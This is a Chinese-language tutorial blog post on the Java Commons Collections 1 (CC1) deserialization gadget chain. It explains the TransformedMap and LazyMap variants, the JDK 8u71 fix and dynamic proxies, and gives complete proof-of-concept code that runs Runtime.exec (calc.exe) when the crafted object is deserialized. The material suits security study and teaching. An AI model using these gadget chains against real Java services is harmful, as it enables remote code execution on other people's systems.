Java反序列化-CC1

girl_grass_city_213102_1280x720

总感觉活在一种小矛盾中,急着长大去看看未知的世界,又想永恒活在现在拥有这份热烈的时刻。继续学习Java反序列化,有种不知道路将通往何方的感觉= =

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类

简化的demo

pom.xml添加

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.2</version>
</dependency>

然后新建一个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"C:\\WINDOWS\\system32\\calc.exe"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
outerMap.put("test", "xxxx");
}
}

C:\\WINDOWS\\system32\\calc.exe修改为计算器所在路径,我的是windows的路径,运行之后可以看到弹出了计算器。

image-20240310185406319

几个接口和类

image-20240311172924048

TransformedMap

TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可 以执⾏⼀个回调。我们通过下⾯这⾏代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map:

1
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,valueTransformer);

其中,keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调。 我们这⾥所说的”回调“,并不是传统意义上的⼀个回调函数,⽽是⼀个实现了Transformer接⼝的类。

Transformer

Transformer是⼀个接⼝,它只有⼀个待实现的⽅法:

1
2
3
public interface Transformer {
public Object transform(Object input);
}

TransformedMap在转换Map的新元素时,就会调⽤transform⽅法,这个过程就类似在调⽤⼀个”回调 函数“,这个回调的参数是原始对象。

ConstantTransformer

ConstantTransformer是实现了Transformer接⼝的⼀个类,它的过程就是在构造函数的时候传⼊⼀个 对象,并在transform⽅法将这个对象再返回:

1
2
3
4
5
6
7
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}

他的作⽤其实就是包装任意⼀个对象,在执⾏回调时返回这个对象,进⽽⽅便后续操作。

InvokerTransformer

InvokerTransformer是实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序列化能执⾏任意代码的关键。

在实例化这个InvokerTransformer时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数 是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表:

image-20240311172611138

后⾯的回调transform⽅法,

1
2
3
Class cls = input.getClass(); // 获取输入对象的类
Method method = cls.getMethod(iMethodName, iParamTypes); // 获取指定方法的 Method 对象
return method.invoke(input, iArgs); // 调用方法,并传入相应的参数

就是执⾏了input对象的iMethodName⽅法。

ChainedTransformer

ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是将内部的多个Transformer串 在⼀起。通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊。

image-20240311172953726

1
2
3
4
5
6
7
8
9
10
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

TransformedMap链

理解demo

1
2
3
4
5
6
7
8
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"C:\\WINDOWS\\system32\\calc.exe"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);

创建了⼀个ChainedTransformer,其中包含两个Transformer:第⼀个是ConstantTransformer, 直接返回当前环境的Runtime对象;第⼆个是InvokerTransformer,执⾏Runtime对象的exec⽅法,参数是C:\\WINDOWS\\system32\\calc.exe

当然,这个transformerChain只是⼀系列回调,我们需要⽤其来包装innerMap,使⽤的前⾯说到的 TransformedMap.decorate

1
2
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

最后,怎么触发回调呢?就是向Map中放⼊⼀个新的元素:

1
outerMap.put("test", "xxxx");

生成一个可利用的序列化对象

AnnotationInvocationHandler

想要触发这个漏洞需要往Map中放入一个新的元素,但是在实际反序列化时,我们需要找到一个 类,它在反序列化的readObject逻辑里有类似的写入操作。

这个类是 sun.reflect.annotation.AnnotationInvocationHandler(这是8u71以前的代码,8u71以后做了一些修改)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// 默认的反序列化
s.defaultReadObject();

// 检查类型是否兼容
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch (IllegalArgumentException e) {
// 类型不再是注解类型;需要中断
throw new java.io.InvalidObjectException("在注解序列化流中找到非注解类型");
}

// 获取注解类型的成员类型
Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// 如果有没有值的注解成员,这种情况将由invoke方法处理。
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);

if (memberType != null) { // 即成员仍然存在
Object value = memberValue.getValue();

// 检查值是否是预期的成员类型的实例
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
// 如果不是,创建一个ExceptionProxy指示不匹配
memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

确保在反序列化过程中,对象(可能是一个注解)的成员的类型仍然与预期的类型兼容。如果检测到类型不匹配,将创建一个AnnotationTypeMismatchExceptionProxy来处理这种情况。

memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它 的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap里注册的 Transform,进而执行我们为其精心设计的任意代码。 所以,我们构造POC的时候,就需要创建一个AnnotationInvocationHandler对象,并将前面构造的 HashMap设置进来:

1
2
3
4
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);//获取内部构造方法
construct.setAccessible(true);//设置为外部可见
Object obj = construct.newInstance(Retention.class, outerMap);//实例化对象

修改后的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"C:\\WINDOWS\\system32\\calc.exe"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("test", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);//获取内部构造方法
construct.setAccessible(true);//设置为外部可见
Object obj = construct.newInstance(Retention.class, outerMap);//实例化对象
//生成序列化流
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

在writeObject的时候出现异常了

image-20240313145918998

原因是,Java中不是所有对象都支持序列化,待序列化的对象和所有它使用的内部属性对象,必须都实 现了 java.io.Serializable 接口。而我们最早传给ConstantTransformer的是 Runtime.getRuntime()Runtime类是没有实现 java.io.Serializable 接口的,所以不允许被序列化。

转换成Transformer的写法就是如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new
Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new
Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {
"C:\\WINDOWS\\system32\\calc.exe" }),
};

修改后的demo,和之前最大的区别就是将 Runtime.getRuntime() 换成了 Runtime.class ,前者是一个 java.lang.Runtime 对象,后者是一个 java.lang.Class 对象。Class类有实现Serializable接口,所以可以被序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"C:\\WINDOWS\\system32\\calc.exe" }),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("test", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);//获取内部构造方法
construct.setAccessible(true);//设置为外部可见
Object obj = construct.newInstance(Retention.class, outerMap);//实例化对象
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

成功输出了反序列化流,但是没有弹计算器。image-20240313150328921

这个实际上和AnnotationInvocationHandler类的逻辑有关,我们可以动态调试就会发现,在 AnnotationInvocationHandler:readObject 的逻辑中,有一个if语句对var7进行判断,只有在其不是null的时候才会进入里面执行setValue,否则不会进入也就不会触发漏洞:

image-20240313214524989

我第一次测试的jdk版本太高了java version “1.8.0_401”,这个漏洞已经被修复了

image-20240313153642684

jdk8u/jdk8u/jdk: f8a528d0379d (openjdk.org)

改动后,不再直接 使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,遍历了 streamVals 中的每一个成员。对于每个成员,首先获取其名称,并根据名称从 memberTypes 中获取对应的类型信息。然后,获取成员的值,并进行类型检查。如果成员的值不是其声明的类型,将会创建一个 AnnotationTypeMismatchExceptionProxy 实例,并将其设置为该成员的值。最后,将成员的名称和值添加到 mv 中。 所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执 行set或put操作,也就不会触发RCE了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"C:\\WINDOWS\\system32\\calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//通过反射获取class对象
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);//获取内部构造方法
construct.setAccessible(true);//设置为外部可见
Object obj = construct.newInstance(Retention.class, outerMap);//实例化对象
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

但是这个Payload有一定局限性,在Java 8u71以后的版本中,由于 sun.reflect.annotation.AnnotationInvocationHandler 发生了变化导致不再可用

换成JDK8U65就可以弹计算器了

image-20240313213406094

LazyMap链

LazyMap也来自于Common-Collections库,并继承AbstractMapDecorator类。
LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执行transform,而LazyMap是在其get方法中执行的factory.transform

LazyMap仍然无 法解决CommonCollections1这条利用链在高版本Java(8u71以后)中的使用问题。

当在get找不到值的时候,它会调用factory.transform方法去获取一个值

image-20240314101842023

相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,原因是在 sun.reflect.annotation.AnnotationInvocationHandler 的readObject方法中并没有直接调用到 Map的get方法。 所以ysoserial找到了另一条路,AnnotationInvocationHandler类的invoke方法有调用到get:

image-20240314102031862

Java对象代理

如果想劫持一个对象内部的方法调用,我们需要用到 java.reflect.Proxy :

1
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

Proxy.newProxyInstance 的第一个参数是ClassLoader,我们用默认的即可;第二个参数是我们需要代理的对象集合;第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻辑。

写这样一个类ExampleInvocationHandler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;
public class ExampleInvocationHandler implements InvocationHandler {
protected Map map;
public ExampleInvocationHandler(Map map) {
this.map = map;
}
//重写了 InvocationHandler 接口的 invoke 方法
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws
Throwable {
//查正在调用的方法是否是 get 方法
if (method.getName().compareTo("get") == 0) {
System.out.println("Hook method: " + method.getName());//利用反射获取调用的方法名
return "Hacked Object";
}
return method.invoke(this.map, args);
}
}

ExampleInvocationHandler类实现了invoke方法,作用是在监控到调用的方法名是get的时候,返回一 个特殊字符串 Hacked Object 。

在外部调用这个ExampleInvocationHandler:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//App.java
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class App {
public static void main(String[] args) throws Exception {
InvocationHandler handler = new ExampleInvocationHandler(new
HashMap());
Map proxyMap = (Map)
Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},
handler);
proxyMap.put("hello", "world");
String result = (String) proxyMap.get("hello");
System.out.println(result);
}
}

运行后发现调用了get方法获取一个键值对后输出了Hacked Object,可以得知成功执行了get方法。

image-20240314104758036

回看 sun.reflect.annotation.AnnotationInvocationHandler ,会发现实际上这个类实际就 是一个InvocationHandler,我们如果将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到 AnnotationInvocationHandler#invoke 方法中,进而触发我们的 LazyMap#get

image-20240314105412353

在方法调用时拦截并执行自定义行为,可以看出动态代理功能强大。

使用LazyMap构造利用链

因为我们入口点是 sun.reflect.annotation.AnnotationInvocationHandler#readObject ,所以我们还需要再用 AnnotationInvocationHandler对这个proxyMap进行包裹:

1
2
handler = (InvocationHandler) construct.newInstance(Retention.class,
proxyMap);

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class,
Object[].class }, new Object[] { null, new
Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class
},
new String[] { "calc.exe" }),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
//换成LazyMap
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
//对sun.reflect.annotation.AnnotationInvocationHandler 对象进行Proxy,为了触发outerMap方法
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map)
Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},
handler);
//再用AnnotationInvocationHandler对这个proxyMap进行包裹,来进行序列化
handler = (InvocationHandler)
construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

成功弹出计算器

image-20240314112642656

参考:

知识星球 | 深度连接铁杆粉丝,运营高品质社群,知识变现的工具 (zsxq.com)

Java反序列化之ysoserial cc1链分析 - FreeBuf网络安全行业门户